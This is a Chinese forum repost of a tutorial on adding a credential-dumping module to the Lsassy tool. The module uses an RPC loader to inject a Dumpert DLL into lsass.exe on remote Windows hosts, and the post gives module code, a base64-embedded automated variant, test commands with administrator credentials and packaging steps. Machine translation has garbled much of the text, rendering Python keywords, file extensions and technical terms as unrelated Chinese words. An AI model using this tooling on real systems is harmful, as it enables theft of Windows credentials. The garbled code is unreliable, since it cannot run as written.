Anonymous 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 在之前的文章《渗透基础——远程从lsass.exe进程导出凭据》 介绍了Lsassy的用法,Lsassy能够实现远程从lsass.exe进程导出凭据。本文将要在Lsassy的基础上进行二次开发,添加一个导出凭据的方法,记录细节。 0x01 简介 本文将要介绍以下内容: 二次开发的细节 开源代码 0x02 导出凭据的方法 在之前的文章《渗透基础——从lsass.exe进程导出凭据》 提到过使用位置遥控(远程位置控制)控制lsass加载法定病假工资的方式向lsass.exe进程注入dll,由动态链接库来实现倾销的功能,这个方法是Lsassy缺少的 这个方法共分为两部分: (1)加载器 使用位置遥控(远程位置控制)控制lsass进程加载动态链接库文件 可参考XPN开源的代码: https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e 在编译代码时,为了提高通用性,编译选项选择在静态库中使用MFC,在原代码的基础上添加如下代码: #杂注注释(lib,' Rpcrt4.lib ') 编译代码生成文件rpcloader.exe (2)dll文件 动态链接库文件实现从lsass.exe进程导出凭据,代码可参考: https://github。com/outblank nl/Dumpert/blob/master/Dumpert-DLL/outblank-Dumpert-DLL/Dumpert。c 动态链接库加载时会将倾销文件保存为c:\windows\Temp\dumpert.dmp 编译代码生成文件dumpert.dll 经过以上操作,得到文件rpcloader.exe和dumpert.dll,作为二次开发的准备 0x03 二次开发的细节 1.添加一个需要指定文件路径的dump方法 格式参考:https://github。com/hack ndo/lsassy/blob/master/lsassy/dump方法/dummy。py。电信程序设计语言(Telecommunications Programming Language的缩写) 根据参考格式写出模块代码,我这里额外做了一些标记,细节如下: 从lsassy.dumpmethod导入IDumpMethod,依赖项 类DumpMethod(IDumpMethod): custom_dump_path_support=False custom_dump_name_support=False dump_name='dumpert.dmp' //进程倾销文件保存的文件名 dump_share='C$'//进程倾销文件保存的磁盘 dump_path='\\Windows\\Temp\'//进程倾销文件保存的路径 def __init__(自身,会话,超时): 超级()。__init__(会话,超时) 自我。loader=Dependency(' RPC loader ',' rpc.exe') //rpcloader为命令行使用的参数名,rpc.exe为上传文件保存的文件名 self.dll=依赖项(' dll ',' rpc.dll')//dll为命令行使用的参数名,rpc.dll为上传文件保存的文件名 定义准备(自身,选项): 回归自我。准备依赖项(选项,[self.loader,self.dll]) //确认命令行参数是否正确 定义清理(自我): 自我。clean _ dependencies([self。loader,self.dll]) //清除上传的文件 def get_commands(self,dump_path=None,dump_name=None,no_powershell=False): cmd_command='''{} {} ' ' ' .格式( self.loader.get_remote_path(),self.dll.get_remote_path()//执行的命令:c:\ windows \ temp \ RPC。exe c:\ windows \ temp \ RPC。动态链接库 ) pwsh_command='''{} {} ' ' ' .格式( self.loader.get_remote_path(),self.dll.get_remote_path() ) 返回{ cmd': cmd_command ' pwsh': pwsh_command } 将以上代码保存至\ Lib \ site-packages \ lsassy \ dump method \ raw RPC。巴拉圭 注: 上传的文件可以使用随机名称,代码自我。loader=Dependency(' RPC loader ',' rpc.exe ') 可修改为自我。loader=Dependency(' RPC loader ',' ').加入(随机。choice(字符串。ascii _字母字符串。范围(8)内_的位数)' .exe’),代码self.dll=依赖项(“动态链接库”,“rpc.dll”)可修改为self.dll=依赖项(' dll ',' ').加入(随机。choice(字符串。ascii _字母字符串。范围(8)内_的位数)' .dll’) 测试命令: lsassy-u管理员密码1 192。168 .1 .1-m原始RPC-O RPC loader _ path=c:\ test \ RPC loader。dll_path=c:\test\dumpert.dll 该方法会将本地的c:\test\rpcloader.exe和c:\test\dumpert.dll复制到远程主机并命名为c:\windows\temp\rpc.exe和c:\windows\temp\rpc.dll,将lsass进程的倾销文件保存为c:\windows\temp\dumpert.dmp 2.添加一个全自动的dump方法 为了使以上整个过程自动化,这里可以选择将可执行程序的扩展名和动态链接库文件作base64编码保存在变量中 base64编码的实现代码: 导入base64 用打开(' rpcloader.exe ',' rb ')作为法国: content=fr.read() data1=base64.b64encode(内容)。解码(“utf8”) 用打开(' rpcloader-base64.txt ',' w ')作为fw: fw.write数据1) 用打开(' dumpert.dll ',' rb ')作为法国: content=fr.read() data1=base64.b64encode(内容)。解码(“utf8”) 用打开(' dumpert-base64.txt ',' w ')作为fw: fw.write数据1) 将生成rpcloader-base64.txt和dumpert-base64.txt替换以下代码中的 导入base64 随机导入 导入字符串 从lsassy.dumpmethod导入IDumpMethod,依赖项 类DumpMethod(IDumpMethod): custom_dump_path_support=False custom_dump_name_support=False dump_name='dumpert.dmp ' dump_share='C$ ' dump_path='\\Windows\\Temp\ ' def __init__(自身,会话,超时): 超级()。__init__(会话,超时) 自我。loader=Dependency(' RPC loader ',' ').加入(随机。choice(字符串。ascii _字母字符串。范围(8)内_的位数)' .exe’) 自我。装载机。内容=base64。b64解码(') self.dll=依赖项(' dll ',' ').加入(随机。choice(字符串。ascii _字母字符串。范围(8)内_的位数)' .dll’) 自我。dll。内容=base64。b64解码(') 定义准备(自身,选项): 回归自我。准备依赖项(选项,[self.loader,self.dll]) 定义清理(自我): 自我。clean _ dependencies([self。loader,self.dll]) def get_commands(self,dump_path=None,dump_name=None,no_powershell=False): cmd_command='''{} {} ' ' ' .格式( self.loader.get_remote_path(),self.dll.get_remote_path() ) pwsh_command='''{} {} ' ' ' .格式( self.loader.get_remote_path(),self.dll.get_remote_path() ) 返回{ cmd': cmd_command ' pwsh': pwsh_command } 将以上代码保存至\ Lib \ site-packages \ lsassy \ dump method \ raw RPC _ embedded。巴拉圭 测试命令: lsassy-u管理员密码1 192。168 .1 .1m原始RPC _ embedded 3.打包成exe文件 完整的打包命令: py安装程序-F控制台。隐藏导入unicode。后端。纯粹。隐藏导入unicode。后端。纯粹。隐藏-导入unicode。后端。纯粹。AES-hidden-import unicode。后端。纯粹。RC4-隐藏-进口lsassy。转储方法。隐藏-导入lsassy。转储方法。com SVCs _ stealth-hidden-import lsassy。导入lsassy。转储方法。dll注入隐藏导入lsassy。转储方法。杜(姓氏) 0x04 小结 Lsassy将不同的功能模块化,结构设置合理,添加倾销方法仅需要修改自卸车模块对应的实现代码。我已经将新添加的模块推送至伊莎西,在最新版的Lsassy可以直接使用这个模块。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子